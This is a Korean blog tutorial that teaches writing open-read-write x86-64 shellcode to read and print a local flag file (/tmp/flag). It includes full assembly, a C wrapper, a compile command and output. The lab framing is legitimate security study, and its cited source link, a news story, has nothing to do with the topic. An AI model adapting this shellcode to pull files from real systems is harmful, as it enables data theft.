IT/시스템 보안

[Shellcode] orw: open-read-write

kykyky 2024. 2. 27. 22:25

출처: https://www.wired.com/story/us-school-shooter-emergency-plans-leak/

 

목적

 

 

공격 대상이 되는 시스템의 파일을 유출해 내는 것입니다.

 

 

 

 

방법

 

아래는 linux 환경에서 진행한 것입니다.

 

 

 

0. 공격 대상이 될 파일 작성

 

 

실습을 위한 예시입니다.

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

 

 

 

 

1. orw 셸코드 작성

 

 

“/tmp/flag” 파일을 읽는 orw 셸코드를 작성해 보겠습니다.

 

orw 셸코드는 

스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리)

의 구조입니다.

 

 

 

스켈레톤 코드

__asm__(
    ".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정
    
    "run_sh:\n"
    // 아래 어셈블리 코드는 예시이며, 각 line은 \n으로 구분되어야 함
    "xor rdi, rdi\n" 
    "mov rax, 0x3c\n" 
    "syscall");

void run_sh();

int main() { run_sh(); }

 

 

 

셸코드

출처: dreamhack

 

 

 

1. open("/tmp/flag", RD_ONLY, NULL)

① 0x616c662f706d742f67(= "/tmp/flag")를 stack에 두 번에 나눠 push. 

push 0x67
mov rax, 0x616c662f706d742f 
push rax

② rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; sys_open

③ 최종적으로 syscall
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

2. read(fd, buf, 0x30)

① rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp - 0x30 ; buf (0x30만큼 읽을 것)
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; sys_read

② 최종적으로 syscall
syscall           ; read(fd, buf, 0x30)

 

3. write(1, buf, 0x30)

① rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정. rsi와 rdx는 그대로

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; sys_write

② 최종적으로 syscall
syscall           ; write(fd, buf, 0x30)

 

 

 

합쳐서 완성된 orw 셸코드

orw.c

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

 

 

2. orw 셸코드 컴파일 및 실행

 

 

 

컴파일

gcc -o orw orw.c -masm=intel

 

 

 

실행

./orw

 

 

 

결과

flag{this_is_open_read_write_shellcode!}

 

※ 초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)

위 결과 뒤에 몇 개의 알 수 없는 글자들이 나타날 수 있는데,

이것은 우리의 실습과 상관 없이 스택에 기존에 쌓여있던 쓰레기 값(garbage data)입니다.